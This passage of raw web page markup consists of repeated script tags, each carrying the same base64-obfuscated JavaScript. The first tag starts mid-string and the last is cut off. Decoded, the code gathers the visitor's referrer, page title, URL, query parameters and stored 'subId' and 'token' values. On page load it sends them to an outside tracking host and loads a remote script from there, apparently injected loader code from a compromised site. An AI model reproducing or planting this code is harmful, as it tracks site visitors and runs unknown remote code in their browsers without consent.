0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy